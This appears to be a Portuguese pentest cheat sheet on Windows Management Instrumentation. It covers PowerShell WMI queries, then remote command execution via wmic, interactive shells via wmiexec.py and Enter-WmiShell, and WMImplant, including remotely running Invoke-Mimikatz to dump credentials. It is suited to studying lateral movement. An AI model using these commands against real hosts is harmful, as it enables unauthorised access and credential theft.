WMI

O WMI (Windows Management Instrumentation) são as especificações para consolidação do gerenciamento de dispositivos e aplicações em redes corporativas utilizado Windows Server. Com isso, é possível gerenciar computadores e serviços (localmente e remotamente) utilizando Powershell ou VBScript.

Para verificar o status do serviço, execute:

Get-Service Winmgmt

O WMI possui 4 termos essenciais para entender:

Namespace

O WMI é dividido em uma hierarquia de estilo de diretório, o contêiner \root, com outros diretórios abaixo de \root. Esses "caminhos de diretório" são chamados de namespaces.

Abaixo segue um comando para listar todos os Namespaces. Se não informarmos o -Namespace Root, por padrão irá retornar Root/CIMV2.

Get-WmiObject -Class __Namespace -Namespace Root | sort name | ft name, path

# Um pouco mais detalhado
​Get-WmiObject -Class __Namespace -Namespace Root -List -Recurse | select__Namespace | sort __Namespace

# Apenas os namespaces de Root\CIMV2
Get-WmiObject -Class __Namespace -Namespace Root\CIMV2 | sort Name | ft name, path

Classes

O nome da classe WMI, por exemplo win32_process, é um ponto de partida para qualquer ação WMI. Sempre precisamos saber o nome da classe e o seu namespace (onde ela está localizada).

Listando todos as Classes que começam com "win32":

Get-WmiObject -List -class win32* | more

Trabalhando com classes.

# Invocando o win32
Get-WmiObject -Class win32_share

# Verificando o status do Windows Defender
Get-WmiObject -Namespace root/microsoft/windows/defender -Class MSFT_MpComputerStatus

Listando informações do SO

# Principais informações
Get-WmiObject -ClassName win32_operatingsystem

# Informações completas
Get-WmiObject -ClassName win32_operatingsystem | Select * | more

Listado os processos em execução no SO

Get-WmiObject -ClassName win32_process | Select Name, Processid, WorkingSetSize

Method

As classes WMI têm uma ou mais funções que podem ser executadas. Essas funções são chamadas de métodos.

Listando os métodos da classe win32_share:

$c = [wmiclass]"win32_share"
$c.methods

Query

Uma instrução WMI Query Language (WQL) a pode ser executada. Por exemplo, para filtrarmos pelo processo lsass.exe utilizando WMI, precisamos executar o seguinte comando:

Get-WmiObject -Query "Select * from win32_process where Name = 'lsass.exe'" | Select Name, Processid, WorkingSetSize

Conectando ao WMI Remoto

$cred = Get-Credential
Get-WmiObject Win32_Processor -ComputerName <ip> -Credential $cred

WMIC

Executando comando no SO remoto.

wmic /node:<ip> /user:<user> /password:<password> process call create "<command>"

Cria um novo processo (por exemplo, notepad.exe) no host remoto.

wmic /node:<ip> /user:<user> /password:<password> process call create "notepad.exe"

Finaliza o processo (por exemplo, notepad.exe)

wmic /node:<ip> /user:<user> /password:<password> process where "Name like 'notepad.exe'" Call Terminate

Listando informações sobre o SO remoto.

wmic /node:<ip> /user:<user> /password:<password> os list brief

Listando informações sobre o computador remoto.

wmic /node:<ip> /user:<user> /password:<password> computersystem list full

Listando todos os usuários disponíveis no computador remoto.

wmic /node:<ip> /user:<user> /password:<password> useraccount list

Listando todos os grupos disponíveis no computador remoto.

wmic /node:<ip> /user:<user> /password:<password> group list brief

Listando todos os usuários disponíveis no computador remoto.

wmic /node:<ip> /user:<user> /password:<password> sysaccount list

Detalhes sobre a inicialização do SO.

wmic /node:<ip> /user:<user> /password:<password> startup list full

Listando as variáveis de ambiente do SO.

wmic /node:<ip> /user:<user> /password:<password> environment list

Listando todos os hotfixes instalados e salva o resultado em um arquivo.

wmic /node:<ip> /user:<user> /password:<password> output:<output.txt> qfe list full

wmiexec.py (Impacket)

Conectando no host com shell interativa

wmiexec.py <user>:<pass>@<ip>

wmishell.ps1

Conectando no host com shell interativa. Utilize somente comandos do cmd.exe, não do Powershell.

. ./Enter-WmiShell.ps1
$cred = Get-Credential
Enter-WmiShell -ComputerName <ip> -UserName $cred

wmiquery.py

Conectando

wmiquery.py <user>:<pass>@<ip>

Veriicando o Sistema Operacional

SELECT Caption FROM win32_operatingsystem

Diretórios que estão sendo compartilhadas

SELECT * FROM win32_share

Verificando se existem processos em andamento

SELECT * FROM win32_Process WHERE name LIKE '%cmd%'

Verificando se existem serviços em andamento

Select * from Win32_service where name like '%backdoor%'

Procurando por diretórios ocultos de determinado usuário

SELECT * FROM Win32_Directory WHERE Hidden = True AND Name LIKE '%<user>%'

Procurando por arquivos que tenha a palavra 'flag' no nome

SELECT Name FROM Win32_Directory WHERE Drive = 'C:' AND Name LIKE '%flag%'

WMImplant

Iniciando o WMImplant

cd <c:\path\to\WMImplant>
. ./WMImplant.ps1
Invoke-WMImplant

Configurando as credenciais

change_user

Listando os usuários ativos no SO

active_users
<ip_alvo>

Listando processos

ps
<ip_alvo>

Listando arquivo de determinado diretório

ls
<ip_alvo>
<c:\path\to\file\dir>

Lendo conteúdo de determinado arquivo

cat
<ip_alvo>
<c:\path\to\file>

Executando o Mimikatz. Esse processo pode demorar.

remote_posh
<ip_alvo>
<c:\path\loca\to\mimikatz.ps1>
Invoke-Mimikatz

Sites

https://github.com/secabstraction/WmiSploit
https://github.com/FortyNorthSecurity/WMImplant

Last updated